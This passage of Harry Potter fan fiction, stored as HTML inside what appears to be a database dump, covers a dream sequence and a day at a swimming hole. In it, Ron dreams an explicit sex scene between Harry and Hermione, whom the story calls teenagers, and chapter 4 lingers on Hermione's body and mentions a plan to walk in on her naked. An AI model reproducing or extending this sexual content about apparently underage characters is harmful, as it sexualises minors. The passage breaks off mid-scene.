she\nleaned in.&nbsp; His lips quivered with\nanticipation, almost there, one second more.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Halt noble Lady.&#8221; A\npowerful said from behind them.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Lady Hermione turned\naround seeing a very striking young man atop a black steed.&nbsp; &#8220;Just who are you and why have you disrupted\nmy moment of bravery.&#8221; She asked with her held up high.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">The young man jumped\ndown from his horse and stood in front of Lady Hermione. &#8220;I am Sir Harry and I\nam a wandering knight, always on the search for those in need of my\nprotection.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Well Sir Harry, I am\nLady Hermione, Knightress of the Round Table.&nbsp;\nI&#8217;m in no need of such protection.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;On the contrary noble\nLady, that right there,&#8221; Sir Harry pointed to Ronnella, &#8220;which you were about\nto kiss is an evil demon, and therefore it must be destroyed.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;An evil demon,&#8221; Lady\nHermione looked back at Ronnella.&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;No I&#8217;m not.&#8221; Ronnella\nsaid he tried to move forward, but he found himself still bound to the spider&#8217;s\nweb.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Yes, an evil\ndemon.&nbsp; If you would have kissed it, you\nwould be dead now.&nbsp; You are quite lucky I\ncame along.&#8221;&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Lady Hermione glared\nat Ronnella, no wait, the evil demon. She turned back to Sir Harry.&nbsp; &#8220;How pray tell are we to kill such a foul\ndemon from Hell?&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Well since it is\nevil, only during the act of love can such an evil be vanquished.&#8221;&nbsp; Sir Harry replied with a serious statement on\nhis face.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Then let us rid the\nworld of this, evil.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Sir Harry nodded and leaned\nin kissing her hard.&nbsp; His tongue met hers\nin a powerfully, heated kiss. They sank to the ground with him on top of her;\nquickly their clothing was discarded.&nbsp; He\nlowered his mouth to hers and began another assault upon her wonderful, full\nsoft lips. &nbsp;His hands found her breasts\nand he teased them a bit, and she moaned into his mouth.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">Her thighs parted and\nhe entered her.&nbsp; She gave off a soft cry\nof approval as they slowly began to move together.&nbsp; Harder and faster they moved, each of their\nvoices reaching new heights as they pushed themselves to reach that moment in\ntime.&nbsp; She was almost there, her heart\nwas beating fast and </i>Ron woke up sitting straight in his bed.&nbsp; He was breathing so hard that it caused him\nto choke.&nbsp; He lit a candle on his\nnightstand, such a relief he was in his room and not bound to a stupid spider&#8217;s\nweb wearing a dress.&nbsp; He looked down on\nthe other side of the room and noticed that Harry wasn&#8217;t in his bed.&nbsp; Where on earth could he be?&nbsp; He would go find him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stood at the top of the stairs watching Hermione who was\nsitting outside on the newly repaired porch swing and Harry who was standing\nnext to the door, debating if he should go out side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was swinging gently on the porch swing, the screen\ndoor opened and closed with a clag.&nbsp;\nHermione abruptly turned around seeing Harry come out side.&nbsp; She unconsciously crossed her arms over her\nbosom.&nbsp; &#8220;What are you doing out here?&#8221;\nShe asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Couldn&#8217;t sleep, you?&#8221; Harry tried to avoid looking at her\ncompletely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head, &#8220;Neither could I.&#8221;&nbsp; The silence was awkward. She sighed looking\ndown into her lap.&nbsp; &#8220;I&#8217;m sorry for\nscreaming at you.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked up, &#8220;No I&#8217;m sorry for walking in on you, I should have listened more.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, no it&#8217;s my fault.&#8221; Hermione replied.&nbsp; &#8220;I realize that it was an accident and I\nshouldn&#8217;t have over reacted. After all it&#8217;s only skin right?&#8221; Hermione said\ntrying to lighten the mood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah but I invaded your privacy, you had every right to be\nangry.&#8221; Harry said shuffling his feet about.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well from the look on your face it was an accident, now if\nyou had planned that on purpose, then I would be very angry.&#8221; Hermione said\nlooking up at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well you don&#8217;t have to worry about that, I did not plan on\nwalking in on you like that.&#8221; Harry said sincerely. &#8220;Mostly because I respect\nyou as my friend, I would never do something to take advantage of you like\nthat.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione smiled and moved over, &#8220;Do you want to sit?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded with a smile and sat down next to Hermione,\nthey slowly began to swing back and forth.&nbsp;\nThere was a silence about the two of them until Hermione broke it.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So from a normal guy&#8217;s point of view and not my best\nfriend&#8217;s, how did I look?&#8221; Hermione said looking straight ahead; she couldn&#8217;t\nbring herself to really look at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s face flushed, he couldn&#8217;t help it.&nbsp; He kept his face staring ahead too. &#8220;On a\nscale of one to ten, I&#8217;d say ten. You looked&#8230;&#8221; he took a breath and cleared his\nthroat. &#8220;You looked really, really good.&#8221; He took a\ndeep breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione felt herself flush bright red; she couldn&#8217;t help\nthe shy smile gracing her face.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron looked out the door at Harry and Hermione, they were\nsitting awfully close and he didn&#8217;t like it.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry finally turned looking at Hermione, which caused her\nto look at him.&nbsp; They started leaning\ncloser to each other until their lips shyly met.&nbsp; Harry teased her lips with the tip of his\ntongue until hers opened allowing him entrance.&nbsp;\nHis mouth hardened against hers, and they were kissing full and hard\nleaving no room to think.&nbsp; Harry&#8217;s fingers\nwent to the buttons on her nightshirt and he started fumbling with them.&nbsp; Ron tried to open the screen door so that\nthey would stop, but the door wouldn&#8217;t move. He jiggled it roughly, but it\nstill didn&#8217;t budge.&nbsp; Surely they could\nhear him messing with the door but they still didn&#8217;t stop.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron started banging his head hard on the wood of the screen\ndoor, &#8220;Hermione, Harry!!&#8221; He shouted out the door but they still didn&#8217;t hear\nhim, &#8220;Stop that, you can&#8217;t be doing that!!&nbsp;\nNO!! NO!!&#8221;&#8212;AHHH!&nbsp; Something cold\nand wet splashed against him and causing Ron to sit up straight in his\nbed.&nbsp; The fairies were giggling above him\nholding a bucket of water and zoomed from the room.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron wiped his wet hair from off his forehead, &#8220;those damn\nfairies.&#8221; He said quietly to himself.&nbsp; He\nreached over and lit the lamp; he looked around the room, mostly over at\nHarry&#8217;s bed.&nbsp; And there was his best\nfriend sleeping soundly.&nbsp; He leaned back\ndown with the light still on, now that was a very strange dream he thought to\nhimself.&nbsp; He turned over and blew out the\ncandle and started back to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">====</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ah a double dream, which one do you think will happen?&nbsp; Tee hee stay tuned\nfor chapter 3 A day At The Waterhole.&nbsp; Read and review thanks, Ryoko.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: All original Harry Potter characters belong to\nJ.K. Rowlings, not me. *sigh* Oh well.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">One\nHot Summer</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n4&#8212;A day at the Waterhole</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Ron both sat down to breakfast\nacross from Fred and George.&nbsp; Mrs.\nWeasley was pouring a final glass of orange juice, which was probably for\nHermione but she was not at the table yet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was about to ask his mother\nwhere Hermione was when she came into the kitchen. She was in a long tanktop and almost knee length shorts. It was very\nunflattering.&nbsp; Ron wondered why she was\ngoing through all this trouble not to show off what she indeed had.&nbsp; He could see through most of her clothes that\nshe had an exceptional body.&nbsp; Hermione\nsat down at the table next to Fred without saying anything.&nbsp; Ron smiled brightly.&nbsp; &#8220;Good Morning Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Mm&#8221; Hermione said in a sort of\nnon committal noise. She immediately lifted the glass of orange juice to her\nlips.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Bad morning?&#8221;\nGeorge asked looking over at her from Fred&#8217;s other side.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Try bad night, and I don&#8217;t want\nto talk about it,&#8221; Hermione said as she glanced down at her empty plate, she\nwished breakfast was over soon, she wanted to get to the waterhole and swim her\nembarrassment from last night away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry couldn&#8217;t help but stare at\nher, the flashes of her being naked was still fresh in his mind.&nbsp; He blinked a couple of times to try and get\nthe images to stop popping in and out of his head.&nbsp; He noticed Hermione wasn&#8217;t looking at him or\neven acknowledging his presence at the table.&nbsp;\nWhy can&#8217;t she understand it was just an accident, he didn&#8217;t mean to walk\nin on her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt Harry&#8217;s eyes on her\nfrom across the table she lifted her head meeting his gaze, he seemed\nstartled.&nbsp; She leaned over the table\ncloser to him. &#8220;Stop staring at me.&#8221; She demanded quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m sorry.&#8221; Harry said in the\nsame quiet tone Hermione used.&nbsp; &#8220;I know\nyou&#8217;re probably embarrassed and a little miffed at me, but it was an accident.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A little miffed? Try a lot.&#8221; Hermione\ndidn&#8217;t really believe it was just an accident, she wanted to scream and shout\nat him, but she also didn&#8217;t want to say something that she would regret. &#8220;Just\ndon&#8217;t talk to me.&#8221; She leaned back in her chair and unconsciously crossed her\narms over her bosom as if to protect herself from wandering eyes. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Mrs. Weasley filled the teenager&#8217;s\nplates with food and they started in on the delicious meal.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The Community Watering hole was\nwithin walking distance.&nbsp; Fred, George,\nRon, Harry and Hermione finally arrived.&nbsp;\nThe picked a spot on the sandy beach which was filled with people,\nfamilies, and singles that were out looking for dates.&nbsp; The group set up their belongings. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione quickly stripped off her shirt\nand skirt, revealing a light blue one piece swim suit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was disappointed.&nbsp; He was hoping for a two piece at least, he\nsighed with his regret yet he was thankful that bathing suits still clung to\nher every curve.&nbsp; He thought he saw her\ncheeks flush as she made a mad dash for the water.&nbsp; She didn&#8217;t even turn around to see if any of\nthe boys wanted to join her for a swim.&nbsp;\nHe looked over at Harry, &#8220;boy she&#8217;s pretty steamed at you isn&#8217;t she?&#8221; He\nwas suddenly really glad that he didn&#8217;t walk in on her naked, or else it would\nbe himself that she was mad at.&nbsp; And he\nwanted to be with her and realized that pretending to walk in on her was\nprobably not the best plan on the list.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I kinda deserve it.&#8221; Harry\nsaid, &#8220;I mean I see her point in being angry with me, even though it was an\naccident.&nbsp; But I do understand.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I wouldn&#8217;t worry about it Harry,\njust let her cool off and then she&#8217;ll probably start talking to you again.&#8221; Ron\nsaid with a smile</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">George nodded &#8220;I agree, of course\nshe might not be mad at you at all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Harry and Ron looked at\nGeorge in confusion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I mean how do you know she isn&#8217;t\nsecretly flattered that you Harry Potter saw her naked, what if she was\nplanning that?&#8221; Fred said with a secret smirk. &#8220;What if she wants to sleep with\nyou?&#8221; Fred wiggled his eyebrows</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron felt himself burn with\njealousy, &#8216;<i style="mso-bidi-font-style:normal">what if she had?&#8217; </i>&nbsp;His brain shouted. &#8216;<i style="mso-bidi-font-style:\nnormal">But she wouldn&#8217;t do that, Hermione in an innocent.&#8217; </i>&nbsp;His head argued.&nbsp; Ron nodded to himself agreeing with his\nsecond thought.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t think so Fred.&#8221; Harry\nsaid, &#8220;Hermione isn&#8217;t like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How do you know?&#8221; George asked\nwith a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ve known her for the past seven\nyears almost, and she just wouldn&#8217;t do anything like that.&nbsp; Hermione is not one to plan and scheme to get\nsomeone in the sack, it would take a real asshole to\nplan anything like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron coughed, clearing his throat\n&#8220;Well I&#8217;m gonna go for a swim now.&#8221; And he stripped down to his swim suit and\ntoo headed for the water.&nbsp; The other boys\nwere soon to follow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a while of swimming,\nHermione dried off and wrapped her towel around her waist and tied it securely,\nshe slipped on her flip flops and grabbed her little money purse and headed\ntowards the Snack &amp; Juice bar.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The Snack &amp; Juice bar wasn&#8217;t\ntoo crowded with people as she sat up on the bar stool, the bartender behind\nthe counter looked at her with a smile.&nbsp;\n&#8220;What can I get for you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione put her finger against\nher chin in thought, looking up at the menu board that was placed above the bar\ntender&#8217;s head. &nbsp;&#8220;A\nBanana, Orange Fizzy please.&#8221;&nbsp; She\ngot out the cost of the drink and placed the coins on the bar.&nbsp; Within a few seconds her banana orange Fizzy\ntopped with whipped cream and orange sprinkles was sat before her.&nbsp; She put the straw in her mouth and started\ndrinking down the delicious juice.&nbsp; She\nfelt a group of eyes on her and she turned her head to find three young boys\nsitting a few barstools away from her.&nbsp;\nShe didn&#8217;t want to be rude so she gave them a polite smile and a slight\nnod and returned to her drink.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That was all the invitation the\nboys needed and they got up from their stools and moved over to where she is.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hello.&#8221; One of them said with a\nsmile and he sat down on the stool next to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione dropped her straw back in\nher drink, &#8220;Hello.&#8221; She returned the smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">One of the other boys sat down in\nanother stool that was on the opposite side of her, the last boy just\nstood.&nbsp; The one to her right spoke again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m Zach, and this is Bryant and\nTom.&#8221; He said pointing to the other two.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gave them each a polite\nnod. &#8220;Hello.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We haven&#8217;t seen you here before.&#8221;\nZach said. &#8220;Do you live around here?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh no, I&#8217;m just visiting a friend\nfor the summer.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Really, how fascinating.&#8221; Zach\nsaid.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Fred, George, Harry and Ron were\ndrying off. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Fred and George looked around for Hermione but\ndidn&#8217;t see her anywhere.&nbsp; &#8220;Where&#8217;s\nHermione?&#8221; They both said at the same time.&nbsp;\nEach of the boys looked around for her, the checked the water she wasn&#8217;t\nthere.&nbsp; They asked a girl to go into the\ngirl&#8217;s restroom to ask if Hermione was in there, she wasn&#8217;t there either.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">George then spotted her up at the\nSnack &amp; Juice bar talking animatedly with three guys.&nbsp; &#8220;Look there she is.&#8221; George pointed up at the\nbar.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched her for a moment and\nhe felt an odd tightness in his stomach, it felt as if someone was twisting his\ninsides into knots. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey!&nbsp; Isn&#8217;t Zach and his gang?&#8221; Fred said\nrecognizing the trio Hermione was talking with.&nbsp;\n&#8220;She needs us let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why?&#8221; Harry said more bitterly\nthen he normally would. &#8220;She looks like she&#8217;s having a grand time.&#8221; He was\nsarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron thought it Harry&#8217;s tone was\nodd, but it really didn&#8217;t matter.&nbsp; He\ndidn&#8217;t like other guys messing in on his plans.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well Zach and his gang usually\nprey on the innocent; they can spot a virgin a mile away.&#8221; George said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well let&#8217;s go then.&#8221; Harry said\nand the four of them started up towards the bar when Ron tripped over something ,his eyes closed automatically and he went down\nlanding face first into something really soft. Ron heard a loud woman&#8217;s scream\nin his ear. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Fred, George and Harry turned\naround hearing the woman&#8217;s scream and what they saw almost made them double\nover in laughter.&nbsp; In between hysterical\nlaughter Fred and George offered to help Ron and Harry should to and see to\nHermione.&nbsp; Harry nodded and was on his\nway up to the juice bar.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The loud scream was very annoying\nas Ron opened his eyes, he found his face buried into a woman&#8217;s bosom.&nbsp; His face flushed bright red as he started to\nstand. The lady had reached her purse and started bashing him on the head with\nit. &#8220;Ow! Ow! Lady calm\ndown, it was an accident.&#8221;&nbsp; It was clear\nshe didn&#8217;t hear him cause she was still hitting him on\nthe head with her purse.&nbsp; Fred and George\nwere at his side in an instant.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A very large six foot six man with\nhard, firm muscles was behind the woman, &#8220;what&#8217;s the problem here honey?&#8221; He\nsaid cracking his knuckles, looking at the three red heads.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Brock, this boy was feeling me\nup.&#8221; She said looking up at her husband.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is that so?!&#8221; Brock\nsaid, his eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now we don&#8217;t want any\ntrouble.&#8221;&nbsp; Fred said as the three of them\ntook a step back all together.&nbsp; Brock\njust continued to narrow his eyes and crack his knuckles menacingly.&nbsp; Without warning he reached for them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was coming upon Hermione and\nher new friends, he could hear the conversation.&nbsp; And it was one he didn&#8217;t really like, he knew\nwhat other men thought and from true from her point of view, sure the\nconversation was probably innocent.&nbsp; Yet\nhe would put a stop to it.&nbsp; Hermione&#8217;s\nconversation with them seemed to sound very inappropriate to Harry.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well it&#8217;s dirty, but I like it.&#8221;\nShe said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You do?&#8221; Zach said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yeah, but you do have to worry\nabout germs you know.&#8221; Hermione replied as she took another sip of her drink.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I bet.&#8221; Bryant said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I usually have to take a shower\nwhen I&#8217;m done.&nbsp; It just gets all over,\nand it&#8217;s really sticky.&#8221; Hermione replied.&nbsp;\n&#8220;But then the showers aren&#8217;t very sanitary in public.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well if you wanted to do it here,\nthe showers in this place are very sanitary.&nbsp;\nWould you like to see them?&nbsp; We\ncould give you a private showing.&#8221; Zach said with smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was about to say something\nwhen Harry stepped up to her side.&nbsp;\n&#8220;What&#8217;s this about the showers, are they really that clean?&#8221; He said\nlooking at the three boys.&nbsp; &#8220;I know I\nwould like to see how clean the showers are here.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron, George and Fred finally\ncaught up to Harry and were standing behind him.&nbsp; Harry heard them come up behind him and he\npointed back with his thumb in their direction.&nbsp;\n&#8220;I&#8217;m sure even Fred, George and Ron would like to check out these\nsanitary showers with you three.&#8221;&nbsp; He was\nhinting to the Zach and his gang to hit the road or else there would be\ntrouble.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zach held a secret glare,\n&#8220;Weasleys&#8221; He spoke softly and silently spat. &#8220;No thanks.&nbsp; Maybe some other time.&#8221;&nbsp; He looked at Hermione &#8220;We&#8217;ll see you around.&#8221;\nZach jerked his chin and Bryant and Tom both followed Zach away from the juice\nbar.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned around to the\nWeasleys and practically jumped back in shock, they each had two black eyes and\nnot 